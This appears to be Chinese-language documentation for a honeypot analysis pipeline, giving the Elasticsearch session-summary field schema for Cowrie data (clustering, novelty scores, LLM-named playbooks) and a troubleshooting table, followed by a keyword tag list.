会话汇总索引字段 (第 4 阶段) 每个已完成的 Cowrie 会话对应一个文档。文档 `_id` = `cowrie.session_id`。由 `rollup sessions` 写入;聚类字段由 `cluster sessions` 写入。 | 路径 | 类型 | 备注 | |---|---|---| | `@timestamp` | date | 会话关闭时间(如果未找到关闭事件,则为连接时间) | | `event.kind` | keyword | `"enrichment"` | | `event.category` | keyword[] | `["network"]` | | `event.dataset` | keyword | `"dshield.cowrie.enrichment.session"` | | `event.start` | date | `cowrie.session.connect` 时间戳 | | `event.end` | date | `cowrie.session.closed` 时间戳 | | `event.duration` | long | 会话持续时间(以纳秒为单位,源自 `cowrie.session.closed`) | | `source.ip` / `source.port` | ip / integer | 攻击者 IP 和源端口 | | `source.geo.*` | object | 地理位置数据(已由摄入管道富化) | | `source.as.number` / `source.as.organization.name` | long / keyword | ASN 信息 | | `destination.ip` / `destination.port` | ip / integer | 蜜罐目标地址 | | `network.protocol` / `network.type` | keyword | `"ssh"` 或 `"telnet"` / `"ipv4"` 或 `"ipv6"` | | `user.name` | keyword | 来自 `cowrie.login.*` 事件的登录用户名 | | `user_agent.original` | keyword | SSH 客户端版本字符串 (`cowrie.client.version`) | | `cowrie.session_id` | keyword | Cowrie 会话 ID——与事件索引中的 `cowrie.session_id` 相匹配 | | `cowrie.password` | keyword | 尝试登录的密码 | | `cowrie.hassh_algorithms` | keyword | SSH 算法协商字符串 (HASSH) | | `dshield.cowrie.enrichment.session.command_count` | long | 会话中命令输入事件的总数(包含重复) | | `dshield.cowrie.enrichment.session.unique_commands` | long | 去重后的命令哈希数量 | | `dshield.cowrie.enrichment.session.login_success_count` | long | `cowrie.login.success` 事件的计数 | | `dshield.cowrie.enrichment.session.login_fail_count` | long | `cowrie.login.failed` 事件的计数 | | `dshield.cowrie.enrichment.session.file_download_count` | long | `cowrie.session.file_download` 事件的计数 | | `dshield.cowrie.enrichment.session.file_upload_count` | long | `cowrie.session.file_upload` 事件的计数 | | `dshield.cowrie.enrichment.session.dominant_intent` | keyword | 会话已富化命令中最常出现的意图 | | `dshield.cowrie.enrichment.session.mean_novelty_score` | float | 已去重的已富化命令中 `cluster.novelty_score` 的平均值 | | `dshield.cowrie.enrichment.session.max_novelty_score` | float | 最大新颖性分数——即使是在常规会话中,一个高度新颖的命令也会提升此值 | | `dshield.cowrie.enrichment.session.mean_confidence` | float | 已富化命令中 LLM 置信度的平均值 | | `dshield.cowrie.enrichment.session.command_entropy` | float | 命令频率分布的香农熵(以比特为单位)。高值 = 命令多样化(交互式攻击者);低值 = 重复性高(自动化扫描器) | | `dshield.cowrie.enrichment.session.session_embed_version` | keyword | 版本标签;当嵌入被重建时,可在配置中递增 `session.session_embed_version` | | `dshield.cowrie.enrichment.session.embedding` | dense_vector(768) | 会话命令嵌入的平均池化。如果尚未有命令被富化,则此字段缺失 | | `dshield.cowrie.enrichment.session.cluster.id` | keyword | `cluster_N` 或 `"outlier"`——基于运行范围限定,在重新运行时不稳定 | | `dshield.cowrie.enrichment.session.cluster.novelty_score` | float | 会话级别的新颖性:`1 - max_cosine_sim`(距离最近的会话聚类中心点) | | `dshield.cowrie.enrichment.session.cluster.is_outlier` | boolean | 当 HDBSCAN 分配标签 `-1` 时为 True | | `dshield.cowrie.enrichment.session.cluster.scored_at` | date | 写入这些字段的 `cluster sessions` 运行的时间戳 | | `dshield.cowrie.enrichment.session.playbook_id` | keyword | 稳定的剧本主键(`sescl-<16hex>`,是对排序后的成员会话 ID 集合取 SHA-256 前缀);由 `name playbooks` 写入。内容寻址:跨运行具有相同的剧本成员资格会产生相同的 ID | | `dshield.cowrie.enrichment.session.playbook_name` | keyword | 由 LLM 生成的剧本标签(由 `name playbooks` 写入)。相同的值也存放在 session-clusters 索引的聚类中心点 | Worker 在首次运行时挂起 | 冷启动模型时生成缓慢。检查 `journalctl -fu dshield_prism-forward.service`;该服务设置了 `TimeoutStartSec=2h`。 | | `rollup sessions` → `closed_sessions_found: 0` | 事件索引中没有 `cowrie.session.closed` 事件,或者索引模式错误。请验证:`GET /_count {"query":{"term":{"event.action":"cowrie.session.closed"}}}` | | `sessions_with_embedding` 远低于 `sessions_built` | 大多数会话是纯凭证扫描,没有包含任何命令——这是正常现象。对于确实包含命令的会话,请先运行 `enrich`,然后重新运行 `rollup sessions`。会话文档会以幂等方式覆盖。 | | `cluster sessions` → `skipped_too_few` | 带有嵌入的会话文档数量少于 `session.cluster_min_cluster_size`(默认为 3)。请在 `enrich` 之后多运行几次 `rollup sessions`,或者在 `local.yaml` 中调低 `cluster_min_cluster_size`。 | | 运行 `cluster sessions` 时提示找不到 Sessions 索引 | 请先运行 `rollup sessions`(它会自动创建索引),或者使用 `init-indexes --layer sessions` 手动创建。 | | `rollup ips` → `affected_ips: 0` | 自 IP 水印更新以来,没有更新的会话文档。请先运行 `rollup sessions`,然后再运行 `rollup ips`。或者重置 IP 水印:`DELETE FROM watermark WHERE key = 'ip_rollup_last_processed_at';`。 | | `cluster ips` → `skipped_too_few` | 带有嵌入的 IP 文档数量少于 `ip.cluster_min_cluster_size`(默认为 3)。只有当 IP 至少有一个包含命令的会话时,该 IP 才会获得嵌入。请降低此阈值,或者多运行几次 `enrich` + `rollup sessions` + `rollup ips`。 | | `name playbooks` → `[ERROR] prompts.playbook_name is unset` | 配置中缺少 `playbook_name` 提示词路径。请检查 `config/default.yaml` 中是否包含 `prompts.playbook_name: "config/prompts/playbook_name.txt"`,并且该文件存在。 | | `name playbooks` → 所有集群均显示 `skipped_no_commands` | 事件索引中没有针对示例会话的 `cowrie.command.input` 事件,或者事件索引模式不匹配。请验证配置中的 `elasticsearch.indexes.cowrie.sessions_raw`,并检查事件索引中是否包含 `event.action: cowrie.command.input` 文档。 | | `mine campaigns` → `campaigns_written: 0` | 行为挖掘需要运行大于等于 2 个不同 playbook 的 IP(如果你的数据集较小,请在 `campaigns.py` 中降低 `_BEHAVIOUR_MIN_SUPPORT_IPS`)。基础设施挖掘需要带有可提取 URL / SSH-key / hash 产物的会话——纯粹的暴力破解流量不会产生任何产物。请参见 [`docs/PLAYBOOKS_AND_CAMPAIGNS.md`](docs/PLAYBOOKS_AND_CAMPAIGNS.md)。 | | Kibana 仪表盘导入失败或面板显示“无数据” | 导入的数据视图使用了默认的索引名称。如果你的配置中任何 `elasticsearch.indexes.cowrie.*` 不是默认值,请在导入后编辑数据视图:Stack Management → Data Views → 查找相应的视图 → 更新索引模式标题。 |
标签:AI安全, AI风险缓解, Apex, BSD, Chat Copilot, Cloudflare, DLL 劫持, DShield, ECS, Elasticsearch, GPU, HTTP/HTTPS抓包, LLM, LLM评估, MITRE ATT&CK, NPU, Ollama, SecurityOnion, Terraform, Unmanaged PE, 去重, 向量分析, 大语言模型, 威胁情报, 开发者工具, 异常检测, 态势感知, 插件系统, 攻击聚类, 数据富化, 数据挖掘, 本地部署, 机器学习, 相似度搜索, 网络安全, 蜜罐, 证书利用, 逆向工具, 长期尾部分析, 隐私保护